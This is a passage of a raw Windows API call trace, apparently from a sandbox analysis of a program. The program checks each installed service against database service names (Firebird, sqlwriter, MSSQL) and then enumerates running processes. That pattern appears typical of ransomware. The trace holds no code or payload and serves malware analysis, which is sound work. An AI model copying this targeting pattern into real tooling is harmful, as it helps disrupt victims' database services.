lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0090.839] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0090.839] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0090.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0090.839] lstrlenW (lpString="lfsvc") returned 5 [0090.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0090.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0090.839] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0090.839] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0090.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0090.839] lstrlenW (lpString="lmhosts") returned 7 [0090.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0090.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0090.839] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0090.839] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0090.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0090.840] lstrlenW (lpString="LSM") returned 3 [0090.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0090.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0090.840] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0090.840] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0090.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0090.840] lstrlenW (lpString="MapsBroker") returned 10 [0090.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0090.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0090.840] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0090.840] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0090.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0090.840] lstrlenW (lpString="MpsSvc") returned 6 [0090.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0090.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0090.840] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0090.840] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0090.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0090.840] lstrlenW (lpString="NcbService") returned 10 [0090.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0090.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0090.840] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0090.840] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0090.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0090.841] lstrlenW (lpString="netprofm") returned 8 [0090.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0090.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0090.841] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0090.841] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0090.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0090.841] lstrlenW (lpString="NlaSvc") returned 6 [0090.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0090.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0090.841] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0090.841] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0090.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0090.841] lstrlenW (lpString="nsi") returned 3 [0090.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0090.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0090.841] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0090.841] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0090.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0090.841] lstrlenW (lpString="PcaSvc") returned 6 [0090.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0090.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0090.841] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0090.841] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0090.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0090.842] lstrlenW (lpString="PlugPlay") returned 8 [0090.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0090.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0090.842] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0090.842] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0090.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0090.842] lstrlenW (lpString="Power") returned 5 [0090.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0090.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0090.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0090.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0090.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0090.842] lstrlenW (lpString="ProfSvc") returned 7 [0090.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0090.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0090.842] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0090.842] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0090.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0090.842] lstrlenW (lpString="RpcEptMapper") returned 12 [0090.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0090.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0090.843] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0090.843] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0090.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0090.843] lstrlenW (lpString="RpcSs") returned 5 [0090.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0090.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0090.843] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0090.843] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0090.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0090.843] lstrlenW (lpString="SamSs") returned 5 [0090.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0090.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0090.843] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0090.843] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0090.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0090.843] lstrlenW (lpString="Schedule") returned 8 [0090.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0090.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0090.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0090.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0090.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0090.843] lstrlenW (lpString="SecurityHealthService") returned 21 [0090.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0090.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0090.844] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0090.844] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0090.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0090.844] lstrlenW (lpString="SENS") returned 4 [0090.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0090.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0090.844] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0090.844] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0090.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0090.844] lstrlenW (lpString="ShellHWDetection") returned 16 [0090.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0090.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0090.844] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0090.844] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0090.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0090.844] lstrlenW (lpString="Spooler") returned 7 [0090.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0090.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0090.844] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0090.844] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0090.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0090.844] lstrlenW (lpString="SSDPSRV") returned 7 [0090.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0090.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0090.845] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0090.845] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0090.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0090.845] lstrlenW (lpString="StateRepository") returned 15 [0090.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0090.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0090.845] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0090.845] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0090.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0090.845] lstrlenW (lpString="SysMain") returned 7 [0090.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0090.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0090.845] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0090.845] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0090.845] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x3684430 | out: hHeap=0x440000) returned 1 [0090.845] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0091.391] Process32FirstW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.392] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0091.393] lstrlenW (lpString="System") returned 6 [0091.393] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0091.393] lstrlenW (lpString="smss.exe") returned 8 [0091.393] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.394] lstrlenW (lpString="csrss.exe") returned 9 [0091.394] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0091.395] lstrlenW (lpString="wininit.exe") returned 11 [0091.395] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.395] lstrlenW (lpString="csrss.exe") returned 9 [0091.395] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0091.396] lstrlenW (lpString="winlogon.exe") returned 12 [0091.396] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0091.397] lstrlenW (lpString="services.exe") returned 12 [0091.397] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0091.398] lstrlenW (lpString="lsass.exe") returned 9 [0091.398] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.399] lstrlenW (lpString="svchost.exe") returned 11 [0091.399] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0091.399] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0091.399] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0091.400] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0091.400] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.401] lstrlenW (lpString="svchost.exe") returned 11 [0091.401] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0091.401] lstrlenW (lpString="dwm.exe") returned 7 [0091.401] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.402] lstrlenW (lpString="svchost.exe") returned 11 [0091.402] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.403] lstrlenW (lpString="svchost.exe") returned 11 [0091.403] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.403] lstrlenW (lpString="svchost.exe") returned 11 [0091.404] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.404] lstrlenW (lpString="svchost.exe") returned 11 [0091.404] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.405] lstrlenW (lpString="svchost.exe") returned 11 [0091.405] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.406] lstrlenW (lpString="svchost.exe") returned 11 [0091.406] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.406] lstrlenW (lpString="svchost.exe") returned 11 [0091.406] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.407] lstrlenW (lpString="svchost.exe") returned 11 [0091.407] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.408] lstrlenW (lpString="svchost.exe") returned 11 [0091.408] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0091.408] lstrlenW (lpString="spoolsv.exe") returned 11 [0091.408] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.409] lstrlenW (lpString="svchost.exe") returned 11 [0091.409] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.409] lstrlenW (lpString="svchost.exe") returned 11 [0091.409] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0091.410] lstrlenW (lpString="audiodg.exe") returned 11 [0091.410] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0091.411] lstrlenW (lpString="sihost.exe") returned 10 [0091.411] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.411] lstrlenW (lpString="svchost.exe") returned 11 [0091.411] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0091.412] lstrlenW (lpString="taskhostw.exe") returned 13 [0091.412] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0091.413] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0091.413] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0091.414] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0091.414] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0091.414] lstrlenW (lpString="explorer.exe") returned 12 [0091.414] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0091.415] lstrlenW (lpString="Memory Compression") returned 18 [0091.415] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0091.415] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0091.415] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0091.416] lstrlenW (lpString="SearchUI.exe") returned 12 [0091.416] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0091.417] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0091.417] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0091.417] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0091.417] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0091.418] lstrlenW (lpString="taskhostw.exe") returned 13 [0091.418] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0091.418] lstrlenW (lpString="UsoClient.exe") returned 13 [0091.418] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, 